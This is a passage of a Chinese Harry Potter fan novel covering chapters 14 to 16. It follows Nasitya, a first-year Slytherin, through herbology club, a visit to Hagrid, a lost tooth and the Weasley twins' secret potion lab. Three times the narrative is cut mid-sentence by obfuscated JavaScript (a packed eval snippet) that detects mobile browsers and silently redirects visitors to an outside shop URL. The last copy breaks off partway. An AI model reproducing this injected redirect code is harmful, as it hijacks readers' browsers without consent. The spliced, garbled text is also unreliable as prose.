实在太安逸了,她又困了。 * 醒过来的时候,娜斯缇亚发现西奥多正坐在自己身边。 她吓了一跳。 “你好……” “刚刚有一群地精跑过来,偷走了你的手帕——你没注意到吗,旁边有块菜地。” 这还是她第一次听见这个男孩说这么长一句话。 她看了眼手里的手帕。 没有花纹,显然不是她的。 “谢谢……”她想把手帕递给他。 西奥多没伸手:“不用还我,我没用过。” “好吧,还是谢谢你。”娜斯缇亚只好把手帕叠成一块正方形,放进口袋,“真奇怪,地精居然会来偷人的手帕。它们这么傻,按理来说不应该啊……” 也许斯普劳特教授这里的地精和韦斯莱家门口的那群品种不同?娜斯缇亚思考着。 她没注意到自己的自言自语引起了西奥多的一瞬间僵硬。 “你在看什么书?”娜斯缇亚没在地精的问题上花费太多精力。 “一本旧书。”沉默了一会,西奥多补上一句,“魔药学相关。” 娜斯缇亚立刻来了兴趣:“真好,我也对草药学和魔药学感兴趣。小时候伊莱莎——我妈妈教我制作一些简单的魔药。其中有一些材料是我自己种的。” “你自己种植草药?”西奥多问。 “比起理论,我更喜欢实践。” 西奥多点点头,用一种很平淡的语气说:“所以你在宾斯教授的课上睡着了。” 自己的脸一定红了。娜斯缇亚想。 “你怎么知道?” “你的羽毛笔掉在桌上,墨水溅到了德拉科的书本。为此,他抱怨了一整个中午。” “……” “我下节课应该带一本别的什么书去看。”沉默过后,娜斯缇亚说道。 这时,不远处的温室,陆续有学生走出来。 她立刻站了起来:“不好意思,我得先走了。” 西奥多点点头。 他合上书本,起身回到树下。 14. 第 14 章 娜斯缇亚在温室门口捉住了一个意外收获。 可怜的罗纳德·韦斯莱被她揪住衣领,拼命挣扎的样子像一只地精(虽然他的高度可能需要几十只地精叠在一起)。 “罗纳德,你在躲我?” 梅林啊她现在的语调真是像极了弗雷德和乔治。 “我没有……你松手!”罗恩挣扎着,求助般看向哈利。 娜斯缇亚继续说道:“听说你昨天晚上到处说我的坏话,说我进了斯莱特林,背叛了你。恨不得让全天下都知道我再也不是你的朋友。” “你胡说八道什么?我没有!”他的脸涨红了。 就在这时,赫敏出来了。 罗恩瞪着她,咆哮声引来许多同学侧目:“是你向娜缇告的状?!” 她有点体会到弗雷德和乔治的乐趣了。娜斯缇亚想。 “韦斯莱先生,我只是转述了你的原话。你难道没说娜缇和马尔福聊得很高兴吗?你哥哥都听见了。”赫敏抬了抬下巴,眼里明晃晃写着“你这个傻瓜”。 “没人会因为你是斯莱特林就疏远你的,娜缇。我们都知道你是什么样的人。”哈利忽然认真地说。 但当娜斯缇亚看过去的时候,他又立刻撇开了脑袋。 娜斯缇亚乐不可支,顺手撒开了罗恩的衣领。 “她都快把我勒死了,”罗恩抱怨道,“你居然还夸得出口。” 他装作在认真整理领子,半晌才别别扭扭地说:“我承认,昨天看到你和马尔福说话的时候我很生气,但作为你从小到大的朋友,我自认为还是蛮了解你的。虽然你让我损失了一个西可……” “这还差不多,我走了。” “你就特地跑过来说这个?”见娜斯缇亚一把挽住赫敏,罗恩有些傻眼。 哈利似乎也没预料到:“你们去哪?” “去找珀西。” 她不能直说找珀西借用赫梅斯的事,罗恩一定会絮絮叨叨说上三天(珀西发过誓绝对不会借他猫头鹰)。 罗恩倒吸了一口凉气:“你一定是疯了……你什么时候和珀西关系这么好了?” “别说傻话,我们关系一直不差。再见,先生们!” 娜斯缇亚甩了甩头,拉着赫敏离开。 * 离晚餐还有一段时间,两个女孩一起去了趟猫头鹰屋。 那里的味道不大好闻,但她们还是站在原地,目送兔牙飞远了。 “娜缇,我们走吧。”赫敏拽了拽娜斯缇亚的袖子,轻声说。 娜斯缇亚觉得她的情绪有一点低落。 “你是不是有点想家?”她问。 赫敏坦然地承认了:“有一点……毕竟我们从来没有分开这么久过。” “你还记得四年级,我第一次到你们家借住吗?那时我也不大适应。” “虽然我不能像你当时那样,躺在被窝给我讲故事到睡着。”娜斯缇亚说,“但你要知道,我也在这,我会一直陪着你的。” 赫敏几乎是冲进了她的怀里。 她什么都没说。 但在这一刻,她们共享了所有情绪。 她们是这样信赖彼此,远胜过世界上任何一个“其他人”。 * 当夕阳从地面一寸寸爬到身上时,赫敏终于抬起脑袋。 原来她没有哭。娜斯缇亚想。 赫敏牵起她的手,再次说了一句。 “娜缇,我们走吧。” 娜斯缇亚在猫头鹰屋外看到一个令她感到意外的身影。 “你也来寄信吗?” 德拉科面色古怪地看了她一眼:“显而易见。” 他仰着脑袋从两人身边擦过。 * 找珀西借笔记和猫头鹰这件事顺利得出奇。 他甚至刚好就带着变形课的笔记本,也没问要拿去做什么,只提醒娜斯缇亚在周三下午前还他。 娜斯缇亚欢呼一声,回到斯莱特林长桌。 杰玛正和朋友坐在一起吃饭,娜斯缇亚想了又想,还是走过去。 “打扰了,杰玛,这是弗雷德和乔治答应你的笔记。”她又抬手和一旁的另一个黑头发女生打了个招呼,“你好。” “晚上好,娜斯缇亚。你就坐在这好吗?我们还没说过话呢。”艾丽娅笑眯眯地看着她,“我刚刚就想叫住你,但你一进门就直奔格兰芬多长桌了——哦,我叫艾丽娅·布朗,就住在你隔壁的寝室。” “娜斯缇亚·格雷,”娜斯缇亚踌躇着伸出手,“你可以叫我娜缇。” 杰玛点点头,道了声谢,把笔记本递给杰玛:“周三那节变形课我们和格兰芬多一起,我会还给韦斯莱。” “这样没事吗?”娜斯缇亚很担忧自己和双胞胎的安危。 “格兰芬多今天没有变形课。”杰玛道,“谁会随身携带笔记?” 娜斯缇亚恍然大悟般“哦”了一声,艾丽娅哈哈大笑。 也许是珀西经常给她的印象经常是一本正经、絮絮叨叨的,娜斯缇亚总会忘记他成绩很好,显然不是个单纯的傻瓜。 “今天过得怎么样?还顺利吗?”艾丽娅见娜斯缇亚的眼神在烤鸡翅上了片刻,“嗖”一下拎起夹子,“我和杰玛今天至少领了不下五个新生去找教室。” “你很快会为自己是一名斯莱特林感到庆幸的。”将鸡翅投放进娜斯缇亚的盘子,艾丽娅冲她眨了眨眼。 “谢谢。”想起那些移动的楼梯,娜斯缇亚又道,“要是城堡里有电梯就好了。” 想想看吧,上了一天课,居然还要爬那么多楼梯,找路回寝室! “同感。说实话,我刚来的时候,被那些绕来绕去的楼梯弄晕过不下三十次,你永远也猜不到踏上去之后,它会把自己送到什么地方。”艾丽娅说,“有时候,哪怕一直沿着一个方向走,它也能把你送回原地。” 见娜斯缇亚一脸惊悚,杰玛轻笑一声:“不用太紧张。你只需要记住平常要去的教室怎么走就行。迷路的时候,可以找找附近有没有拉文克劳的学生,他们比格兰芬多靠谱多了,对付那些楼梯也很有经验。” “或者问问那对双胞胎。”艾丽娅飞快地说。 晚餐的气氛很不错,杰玛和艾丽娅聊了很多学习上的问题,娜斯缇亚一边吃着她们源源不断夹来的喷香牛肋排,一边竖起耳朵猛听。 “晚上好,塞德里克。很少见你出现在斯莱特林长桌上。”艾丽娅忽然向着娜斯缇亚正后方打了个招呼。 “晚上好,艾丽娅,我找娜斯缇亚·格雷。斯普劳特教授让我把课后小组的名单带过来让她签字。” 杰玛立刻给娜斯缇亚递来一张纸巾,示意她擦擦嘴角。 回过头,一个高大的男生正站在她背后。 “你好,我是娜斯缇亚·格雷。” “哦,我知道。”他把一张羊皮纸和一支羽毛笔放在她的面前,“我是塞德里克·迪戈里。” 娜斯缇亚赶紧签上自己的名字——说实话,看过来的人不少,她讨厌那种探究的目光。 签完字之后,塞德里克留下一份时间表,回到赫奇帕奇长桌。 艾丽娅兴致勃勃地问:“你也参加了斯普劳特教授的课后小组?” “也?” “我低年级的时候去过。说实话,挺有趣的。弗立维教授的课后小组也不错,推荐一试。” “听起来真不错,我会考虑的。”娜斯缇亚戳起一颗西兰花,“杰玛,你有参加课后小组吗?” “她的课后培训一般人去不了。斯内普教授是不可能办课后小组的,他只接受‘有天分的学生’。”艾丽娅示意她看向教师席上那个黑色的身影。 “太厉害了。”娜斯缇亚几乎想抬手给她鼓掌。 艾丽娅神秘地笑了笑。 “她确实不一般,你上过一次魔药课就知道了。” * 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437143|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二的一整天,娜斯缇亚都过得非常快乐。 无论是弗立维教授的魔咒课,还是麦格教授的变形课,甚至那个占用她宝贵睡眠时间的天文课,都给娜斯缇亚带来了绝妙的体验。 麦格教授是个阿尼马格斯,这她早就知道。但没人说过她的动物形态是一只狸花猫呀! 娜斯缇亚需要很克制自己,才能忍着不冲上前摸一摸猫咪的毛发。就像每次看见费尔奇先生的洛丽丝夫人那样。 霍格沃茨就不能有一些散养猫咪吗? 值得一提的是,她今天又给斯莱特林加了10分。 德拉科看她的眼神都快着火了,可是他费尽力气也没让那根火柴变出一点点针的样子。 娜斯缇亚猜他肯定没怎么注意过真正的针长什么样子。 不过很可惜,弗立维教授和麦格教授给分都没有斯普劳特教授大方。 娜斯缇亚的好心情只维持到周三的上午。 自入学以来,她一直很期待第一节黑魔法防御课。 教这门课的奇洛教授看起来是个怪人——他成天裹着一条比脑袋还大的大围巾,看起来神神叨叨。 某次路过教室的时候,她还瞥见里面有一副巨大的恐龙骨架。 她以为这样一个怪人的授课方式一定会非常有趣。 娜斯缇亚的愿望落空了。 比起黑魔法防御课,她宁愿一整天都坐在宾斯教授的课堂。 整间教室都弥漫着一股大蒜味! 她很难不怀疑奇洛教授把他们这些学生当成了某些食物原料,打定主意要利用这30分钟把所有人腌制入味。 德拉科为了把她从离讲台最远的位置赶走,急得跳脚。 “要么你坐左边那一桌的位置,要么别坐,我是不会让给你的。”娜斯缇亚冷酷地拒绝了他。 她最近上课总是和西奥多坐在一起——后者在躲布雷斯。 布雷斯总是像一只时刻开屏的花孔雀。娜斯缇亚坚信他已经和每个学院的一年级新生都说过话了。 当然,这些友好的交谈仅限于女孩子。 西奥多今天来得比娜斯缇亚更早。他借口去了盥洗室,一直到快要上课才回来,给她递来一块沾满薄荷水的手帕。 “谢谢你,西奥多。” 他们在天文课上互换了教名。 西奥多把黑魔法的教材摊开放在桌上,左手握拳,把手帕藏在手心,放在鼻子下。 这样不至于把嫌弃表现太明显。 娜斯缇亚有样学样。 隔壁的德拉科扭头看他们一眼,表情扭曲起来。 “你们真卑鄙!”娜斯缇亚相信,如果没有那些发胶定型,他的头发一定全都炸起来了。 过了一会,娜斯缇亚看见潘西递给他一张喷了香水的手帕。 这是德拉科第一次上课没在认真做笔记,而是在奋笔疾书地写一封信。 娜斯缇亚借着捡笔的功夫,偷偷瞥了一眼。 “亲爱的妈妈,您绝对不会知道我在学校经历了什么。早知道这样,您当初不应该拦着爸爸,让我去德姆斯特朗。” 德姆斯特朗? 她上下打量着他,差点笑出声。 听说那所学校十分重视实战和决斗。就凭德拉科这副瘦弱的小身板,在德姆斯特朗待不了一周,绝对会被打趴下。 德拉科一眼就瞥见了,他的表情立刻变得很警惕:“你笑什么?” “克拉布在打呼噜,你没听见吗?” 德拉科抬头看了眼睡得正香的克拉布,“啧”了一声,一脚踹上他的凳子。 娜斯缇亚把注意力转回到只写了两行字的笔记本上。 说实话,上奇洛教授的课,五分钟能记下一句完整的知识点,都是一件不容易的事。 他口吃的毛病实在太严重了。 下课的时候,娜斯缇亚和西奥多互相看了一眼对方的笔记本,同时露出一个苦笑。 15. 第 15 章 周五绝对是娜斯缇亚开学以来过得最跌宕起伏的一天。 纳威的一把豪猪刺无疑贡献了最大的惊吓。她从没见过哪个人能把自己弄得这么戏剧化——熬制治疗疖子的药水,反倒让自己起了一身的疖子。 斯内普教授显然很不喜欢纳威。 但是哈利,娜斯缇亚有理由怀疑,他是斯内普教授上辈子的仇人。 如果说因为顶嘴被扣分还算情有可原,但纳威受伤这件事,哈利明明什么都没做,居然还是被逮着扣了一分。 两节噩梦般的魔药课结束后,格兰芬多们筋疲力尽地走出魔药教室。 当娜斯缇亚安慰着第一次在课上被教授无视的赫敏时,罗恩也在不远处安慰哈利。 “好了,打起精神来,斯内普经常扣弗雷德和乔治的分。”罗恩说。 赫敏的表情也是前所未有的沮丧:“算了,娜缇,我想我们别想在这门课上拿到额外加分了——不倒扣就不错了。” “娜缇,下午要跟我们一起去海格的小屋坐坐吗?”也许是听到身后的声音,罗恩忽然扭过头问。 哈利也看着她,眼睛亮亮的。 赫敏显然对这件事一点兴趣也没有。她在楼道口和娜斯缇亚道别,表示要去图书馆“静一静”。 “我很想去,但是我不确定时间。我下午刚好要去温室上课。”娜斯缇亚摊了摊手。 罗恩疑惑地看着她:“上课?下午有课吗?” “我加入了斯普劳特教授的课后小组。” 罗恩和哈利倒吸了一口凉气。 “我知道为什么你们两个是朋友了——好吧,但这个课后小组总不能占用你一整个下午的时间,三点你应该有空吧?” “如果你们愿意多等我一会的话。” “我们会在那坐一会,如果你想来,我们可以等你。”哈利立刻说。 “那我们下午见。”娜斯缇亚点点头。 * 下午两点五十分,娜斯缇亚准时来到三号温室前。 她在草坪上碰见了塞德里克。 “没想到你们今天会来,我以为第一周新生都会想好好逛一逛学校。” “我很期待这堂课。” 塞德里克轻笑一声:“你将它称之为课?这可不够准确。” 他随即解释说,课后小组的成员通常会各自选择空闲的时间,来温室这向斯普劳特教授学习一些照顾植物的方法,或是帮忙做一些事情。 “这正是我期待的!我喜欢实践。”娜斯缇亚握拳。 塞德里克也笑了起来,替她推开温室的门。 “塞德,格雷小姐,你们来了——为什么不进来呢?今天下午只有几个学生,我需要你们帮我给这些毒触手施施肥。” 他们一起走进去,面前站着三个赫奇帕奇的学生。 那个暗金色头发的女生率先和娜斯缇亚打了招呼:“你好,我叫汉娜·艾博,很高兴认识你。” 娜斯缇亚认识她,入学当天第一个戴上分院帽的新生。 另外两个男孩,一个个子高高的,另一个头发卷卷的,也是新生。 卷头发的那个先说话了:“你好?我是贾斯廷·芬列里。” “我叫厄尼·麦克米兰……不敢相信这会来一个斯莱特林,我以为他们眼睛都长在头顶呢!” 娜斯缇亚看到贾斯廷用手肘捅了捅厄尼,而汉娜露出一个略带歉意的微笑。 “哦,我想没什么关系,大家多少都对彼此有些刻板印象。我叫娜斯缇亚·格雷,可以叫我娜缇。”她的最后一句是对着汉娜说的。 汉娜腼腆地笑了笑。 斯普劳特教授适时地走了过来。 “孩子们,咱们先动起手来再聊天,好吗?你们都带着手套吧?”她说,“塞德,你去帮我修剪雨伞花的叶子吧。” 塞德里克走到温室的另一侧,而新生们纷纷戴上手套,围成一个半圆,看斯普劳特教授示范。 那些张牙舞爪的绿色触手不断悄悄向她伸去,而斯普劳特教授只是猛拍了那些触角一下,然后趁它们缩起来的功夫,快速地提起混合了火龙粪肥料的水壶,绕着植物根部浇了一圈。 “只能浇一圈,好吗?我在课上观察过了,你们的动手能力都不错。好了,现在开始吧,注意不要和它们的触手纠缠太久,它们还很小,会以为你们在和它玩。”斯普劳特教授说完,走向雨伞花那片区域。 她和塞德里克一边干活一边聊着天,似乎是在讨论接下来的魁地奇比赛。 几个新生就没这么轻松了。 起初的10分钟内,娜斯缇亚一直是动作最快的。但是很不幸,一棵毒触手似乎跟她杠上了。 “嘿,它怎么就是不愿意把它的触手收上去,哪怕一秒?” 厄尼和贾斯廷不约而同地加快了手上的动作,似乎想要超过她。 汉娜走过来帮忙,但是她的加入并没有改善状况。 女孩子们围着那株倔强的毒触手,一筹莫展。 “是的,格雷小姐,偶尔会有这种情况。”斯普劳特教授大步流星地走了过来,“上一次来的学生一定把它给忘了——” “什么?” “忘记给它浇水了。看这里,触手有些皱缩。它有理由不高兴,对吗?”她取来另一把水壶,“它们还没开始长牙,尖刺也还很柔软,不然你就要倒霉了。” 她冲娜斯缇亚眨眨眼,用手指从水壶里蘸取一点水,轻轻喷洒在植物表面,后者安分了不少。 不过……说到长牙。 娜斯缇亚舔了舔左上角越来越松动的牙齿,有些发愁。 她换牙一直比赫敏慢——赫敏去年就把所有牙齿换完一遍了。 “斯普劳特教授,有什么草药或者药水对牙齿的生长有帮助吗? ” 斯普劳特教授似乎一眼就看穿了她的想法。 “格雷小姐,你知道,有时候就算是巫师,也应当体验一下新旧更替和生长的乐趣。就像你现在照顾这些植物一样。” 娜斯缇亚明白这个道理。 可是——她一点也不想在开学第一周就讲话漏风,它实在离门牙太近了! 德拉科一定会大声在所有人面前嘲笑自己。娜斯缇亚想。 但她还是老老实实地拎起水壶,拍拍触手,沿着植物根部浇了一圈。 下午四点左右,他们完成了工作,得到斯普劳特教授提供的一壶热茶和曲奇饼干。 如果雨伞花的香气不这么浓郁的话,他们也许就能尝出杯子里茶水的真正味道。 但那些曲奇饼干真的非常美味。 娜斯缇亚注意到塞德里克一直欲言又止。 终于,在她走出温室,与汉娜、贾斯廷和厄尼告别之后,他追了上来。 “关于你在烦恼的事情。我这里有一个好办法,我想你也许会需要。” 哦,讨厌的三年级。 他游刃有余的微笑让娜斯缇亚想揍他一拳。 但她还是说:“洗耳恭听。” “换下牙齿以后,去医疗翼找庞弗雷女士,告诉她你的牙被球撞掉了。当然,最好带上一个助手——负责挨骂。” “她会信吗?” “只要你们的演技够逼真。”塞德里克耸耸肩,“我当年就这么干过一次——好了,我要走了,再见!” 他向不远处正向自己招手的朋友跑去,头发在夕阳中闪着光。 娜斯缇亚目瞪口呆。 但不管怎么说,她会考虑的。 她转身往禁林的方向走去——海格的小屋在那边。 那是一座木屋,门前是一片南瓜地,大门右侧摆着一张弩和一双橡胶套鞋。 娜斯缇亚上前敲了敲门。 屋内瞬间响起几声犬吠声,还有罗恩说话的声音。 “一定是娜缇来了!” 几秒后,哈利替海格过来开门,后者正拽着一条大猎狗。 “下午好,海格,哈利。” “你为什么就不能心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437144|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平气和地跟我也打个招呼呢?”罗恩抗议道。 “想想看吧……下午好罗纳德,今天你过得怎么样?”她故意彬彬有礼地说。 罗恩起了一身鸡皮疙瘩。 “不了——还是就这样吧。” 海格热情地替娜斯缇亚倒了一杯热茶:“来这里坐吧——这是牙牙。” 娜斯缇亚坐到海格和哈利的中间。 而那只叫“牙牙”的黑色大狗重新枕到哈利膝头。 她注意到哈利的袍子已经被它的口水打湿了一大片,没忍住笑了一声。 “你们下午都在温室做了什么?”哈利问。 “没什么特别的,帮斯普劳特教授给毒触手施了点肥。它们还没开始长牙呢,挺有意思的。”娜斯缇亚就着热茶咬了一口手里硬邦邦的饼,尽量避开松动的牙齿。 罗恩忽然说:“纳威似乎对草药课挺感兴趣的,你要不要问问他想不想去?省得他在寝室怨天尤人。斯内普差不多要把他搞疯了。” “不好意思,你是在说纳威·隆巴顿吗?”她不由自主地想起上午那锅毒药般的药水,“他现在怎么样了?” “他好多了,中午已经回来了。”哈利说。 海格好奇地问:“怎么了?你们上午一起上课吗?有人受伤了?” 哈利把魔药课上的事告诉了海格。 海格似乎有些为难地看了娜斯缇亚一眼。 “请原谅,小娜缇,我不是要讲你们院长的坏话。嗯,但是,你知道的,他几乎没有喜欢过任何学生。” 鉴于自己在魔药课上的体验,娜斯缇亚选择了毫无负担地点头附和。 “是的,哈利。弗雷德和乔治以前就总和我们说斯内普教授的坏话,你大可以不用担心。”她说,“想想看,他今天除了德拉科一个人都没夸。可是德拉科蒸煮鼻涕虫的方法明明跟我和赫敏的一样!” 好吧,她承认后一句抱怨不是为了安慰哈利,更多是出于自己的真情实感。 事实上,对于斯内普教授在课上的视而不见,娜斯缇亚比赫敏更加郁闷。 “是啊,你看,娜缇和赫敏做得比马尔福好一万倍都没被夸一句,那你被讨厌也不是什么怪事。” 娜斯缇亚觉得罗恩的逻辑关系学得不太好。 这两件事有什么因果关系吗? 哈利明显也没听进去。 但他冷不丁开口,忽然说了一句:“我觉得斯内普恨我。” 这话让海格跳了起来:“胡说!他为什么要恨你?他……他是霍格沃茨的教授!” 事实上,娜斯缇亚觉得哈利说得挺像那么回事的。 可她也想不出斯内普有什么恨他的理由。 海格已经转头和罗恩聊起了火龙研究,她只好拍了拍哈利的肩,以示安慰。 “没关系哈利,这还只是第一节课。说不定多上几节课你就会发现,斯内普教授恨的人不止你一个。你的名字在魔法界可是响当当的,吸引的火力自然最强。” 哈利被她的话逗笑了。 “谢谢你,娜缇。”他端起茶杯,喝了一口热茶。 “这是什么?” 他忽然从茶壶暖罩下抽出一片剪报。 娜斯缇亚也凑上前瞧。 那是一则从《预言家日报》截下来的新闻。 “真不敢相信古灵阁也会失窃……不过,显然他们已经提前转移走了那群盗贼找的东西。”娜斯缇亚评价道,“妖精们总是很狡猾,但不可否认的是他们也很聪明。” 哈利却嚷了起来:“海格!闯入事件发生那天正好是我的生日!很可能事发的时候我们正好在那!” 娜斯缇亚和罗恩对视了一眼。很显然,他们俩对这件事都一无所知。 他们只好一会看看哈利,一会又看看海格。 但海格没有正面回答这个问题,他只是态度模糊地哼了一声,又塞给哈利一块岩皮饼。 ‘看来取走物品的不是妖精,而是他们两个。’娜斯缇亚想。 16. 第 16 章 将近天黑的时候,海格往三个小朋友的兜里塞满了岩皮饼,将他们送出了小屋。 哈利一路上都魂不守舍的,罗恩则絮絮叨叨地向娜斯缇亚描述着他的周末计划。 “你呢?”末了,他问。 “我明天要和赫敏一起去弗立维教授的办公室。” “又是赫敏·格兰杰!还有!你不是已经加了一个课后小组了吗!”他一嗓子把哈利从沉思中拖了出来。 “哦,赫敏。她和你一样爱学习。”哈利说,“不过,他们说她从不和别人一起做作业。” “开什么玩笑,我和她幼儿园就开始一起做作业了。”她的卧室里还珍藏着小时候和赫敏用蜡笔涂的画、一起叠的千纸鹤和小星星呢。 娜斯缇亚一时说到兴头上,没注意到哈利羡慕的表情。 罗恩赶紧从口袋里掏出一个岩皮饼,以迅雷不及掩耳之势塞进她嘴里。 “……” 娜斯缇亚立刻意识到,这场可怕的袭击,带走了目前对她而言,最最重要的东西。 她像拉抽屉一样抽出那块岩皮饼。 一颗虎牙卡在上面,摇摇欲坠。 可怕的沉默笼罩着他们。 娜斯缇亚从书包里掏出镜子,背对着两个男孩,张开嘴检查。 “罗——纳——德——” 她没脸见人了。 她精明干练的形象将因为这一颗牙齿的缺席,彻底毁于一旦。 “也许我们可以去医疗翼看看有没有办法。”哈利说。 他的想法和娜斯缇亚不谋而合。 “我陪你去!我绝对陪你去!只要你别把这件事告诉妈妈或者金妮……还有弗雷德和乔治……还有珀西。”罗恩急得绕着娜斯缇亚转了整整三圈,“可是,一会我该怎么说?” “就说你的脑袋磕在我的牙上了。” “这怎么可能?”罗恩大喊一声,“谁会相信?!” “看来你完全忘了,六岁那年,我的门牙是怎么掉的。”娜斯缇亚怒视着他。 “娜缇?这个点你怎么还在这里?斯普劳特教授的课后小组不是早就结束活动了吗?”就在这时,艾丽娅突然出现了,“嘿,你干嘛捂着嘴,有人欺负你?” “拿出斯莱特林的气魄来。告诉我他们是谁?杰玛会让他付出代价。”她摆出一副恶狠狠的表情,紧盯着哈利和罗恩。 杰玛一副早已习惯她“狐假虎威”的样子,一言不发地站在一旁。 罗恩把手摆得像螺旋桨:“不不——不是……” 娜斯缇亚只能打断了他,小声地把事情真相告诉了她们。 结果,听完之后,不止艾丽娅,杰玛居然也笑了起来。 “我早说过,你该离又蠢又笨的男孩子远一点。”杰玛看了一眼罗恩和哈利,毫不客气地说。 哈利紧紧拉住了敢怒不敢言的罗恩。 “需要我陪你去医疗翼吗?”杰玛问。 艾丽娅主动接过她手上的书:“我想这要不了多久。我就不去凑热闹了,一会见。” 娜斯缇亚捂着嘴,点点头。 罗恩长舒了一口气,庆幸自己逃过一劫。 杰玛带着娜斯缇亚找到了庞弗雷女士。 “庞弗雷女士,这有个一年级新生受伤了,需要一些生牙剂。” “怎么回事?”庞弗雷女士端着一个盘子,从办公室走出来,将“受伤的新生”全身上下扫视一番。 娜斯缇亚把掌心带着一点血渍的牙展示给庞弗雷女士看,一言不发、可怜兮兮地望着她。 “哦,可怜的小家伙,那一定很痛。” 庞弗雷女士连原因也没问一句,领着她在床上躺下。 整个处理过程很快,庞弗雷女士拿来了一瓶生牙剂,扶着娜斯缇亚的脑袋,往她的牙洞那里滴了一小滴冰凉的液体。 大约三秒后,她念了一个咒语,示意娜斯缇亚起来。 她获得了一颗几乎和原来一样的牙齿。 “好了。和原来一样可爱的虎牙。”庞弗雷女士露出一个短暂的微笑,然后把两个女孩赶走。 娜斯缇亚感受到级长这个身份的妙处。 在杰玛说出她们还有专门的盥洗室这句话时,她对这个身份的热情几乎达到了和珀西一样的高度。 “你想当级长不难,只要多把时间花在自己身上,少和那些傻瓜笨蛋一起。”杰玛总结道。 走进礼堂的那一刻,“傻瓜笨蛋”罗恩·韦斯莱立刻望过来,急切地用眼神询问她的状况。 赫敏注意到之后,抱着一本书快步走到斯莱特林长桌前。 “发生什么事了?我听他们说,罗恩把你的牙给撞掉了。” “噢,你现在不用再担心它了。”娜斯缇亚高兴地说。 赫敏使劲端详着她:“我没懂你的意思。” 娜斯缇亚把刚刚从温室走出来,到在医疗翼发生的事,一股脑都告诉了赫敏。 “哦!我没想过——我是说,这实在是太神奇了!” “你一直不满意你的牙齿,你觉得我们是不是能请庞弗雷女士把它们稍微缩小一点?只要别变太小就行。我喜欢你的兔牙。” 赫敏笑了笑。她似乎有点脸红。 “不过不行,那样一定会被爸爸妈妈发现的。你知道的,他们一直劝我箍牙。” “好吧。”娜斯缇亚沮丧地叹了口气,“你借了本什么书?” “一本魔法史。” 她立刻收回想一探究竟的视线。 “我得回去了。我们明天见!”赫敏说。 “明天见。” * 晚餐过后,娜斯缇亚在一楼的楼梯口看见两个并不陌生的身影。 乔治一看到她,就绽放了一个大大的笑容。 “晚上好,娜缇。听说你的牙齿又被小罗尼撞掉了?”他把“又”这个字咬得格外重。 “别再提这件事了,”娜斯缇亚扶额,“这对我和罗纳德都好。” “噢,这就是成长的魅力吗?你小时候一点也不在意这个。”弗雷德笑得比乔治还大声,“记得吗?当年你被小罗尼撞掉了门牙,还特地跑到我们面前,展示给我们看。” “那天家里甚至还有客人。”乔治补充道。 “那个人现在也在霍格沃茨读书。我想想……”弗雷德想了想,问道,“塞德里克·迪戈里。你是不是认识他?” 娜斯缇亚倒吸了一口凉气。 这实在是太可怕了。 “好吧,别提这件事了。我敢说他一定早就把这事给忘了,他看起来就没什么脑子。”乔治替弗雷德做个了给嘴巴上锁的手势,“要不要加入我们今晚的冒险?” “当然不。”娜斯缇亚不假思索地回答,“我可不想因为夜游被抓到。” “嘿,她在小看我们。”乔治说。 “有我们在,你是不会被费尔奇抓到的。”弗雷德懒洋洋地说。 “是啊,但是我的室友——斯莱特林的级长杰玛·法利小姐会立刻知道这件事。在我们被一网打尽前,我想她一定更乐意见到格兰芬多被扣分。”娜斯缇亚抱着双臂看他们,“你们是不是完全忘了这回事?” 弗雷德和乔治不仅忘了,更是压根不把这件事放在眼里。 “但现在离宵禁还有好几个小时,是不是?”他们对视一眼,不由分说把她架走了。 娜斯缇亚觉得自己几乎是飞到二楼的。 “邀请你参加我们新产品的研发。” “什么?” “简单来说,就是我们需要你帮忙熬制药水。” “又?!” 梅林在上,她从小到大不知道被他们抓来薅过多少羊毛! 谈话间,弗雷德已经从某间教室里的柜子后挪开了一个密道。 “帮忙可以,我得要点报酬。”娜斯缇亚立刻说。 “想知道密道?” “我们当然会告诉你——不过不是今天,走吧。” 娜斯缇亚幽怨地瞪着他们的背影,跟着钻进去。 那是一道长长的阶梯,却足够宽敞,还不到五分钟,他们就抵达了目的地。 弗雷德和乔治完全是有备而来。 他们把某间地下教室当成了操作间,在密道里藏着做实验所需要的所有工具。 里面甚至有三口坩埚。 “李·乔丹偶尔会和我们一起。”乔治解释道。 “我要向斯内普教授举报你们。”娜斯缇亚还在对密道的事耿耿于怀,“格兰芬多扣10分!” “娜缇,别告诉我你有朝一日会变成珀西那样的人。”弗雷德阴阳怪气地调侃道。 “但你们还没告诉我新产品是什么呢!”娜斯缇亚愤怒地说。 “肿胀药水,”弗雷德忙着搬东西,乔治则在她彻底炸毛之前回答了这个问题,“我们打算用它增强逃课贴纸的药效,让伤口看起来更可怕一点。” “之前调制的药水效果不够,我们决定再改进一下。这样可以在减少药水用量的同时,获得更惊悚的效果。” “当然,这个东西不能大范围地售卖,也不能长期只呈现一种病状,不然教授们很快就会发现了。”弗雷德得意洋洋地说,“为此,我们隆重推出了VIP制度。” 娜斯缇亚扶额:“我承认,你们的确有几分奸商的头脑。” “谢谢夸奖。”他们异口同声地说。 “来吧。现在,我们操作,你提一点意见。” “不用我动手?真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 